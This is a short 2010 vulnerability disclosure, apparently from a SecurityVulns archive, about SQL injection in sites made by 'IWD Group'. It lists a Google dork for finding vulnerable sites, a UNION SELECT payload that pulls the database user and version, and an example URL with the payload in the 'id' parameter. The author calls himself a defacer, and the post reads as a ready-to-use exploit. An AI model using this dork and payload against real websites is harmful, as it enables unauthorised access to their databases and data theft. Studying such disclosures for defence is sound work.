IWD Group SQL Injection Vulnerabilities

2010-04-26T00:00:00
ID SECURITYVULNS:DOC:23695
Type securityvulns
Reporter Securityvulns
Modified 2010-04-26T00:00:00

Description

------------------In The Name Of God------------

IWD Group SQL Injection Vulnerabilities

AUTHOR: md.r00t

Mail: md.r00t.defacer@gmail.com

Webstie: www.r00t.gigfa.com

Google D0rk:

"Designed by IWD Group"

Exploit:

---------

195 and 1=2 Union select 1,2,concat(user(),char(58,58,58),version()),4

Example:

http://www.Site.com/index.php?page=headline&id=195 and 1=2 Union select1,2,concat(user(),char(58,58,58),version()),4

TNX:

Aria-Security Team (Persian Security Network),Virangar Security Team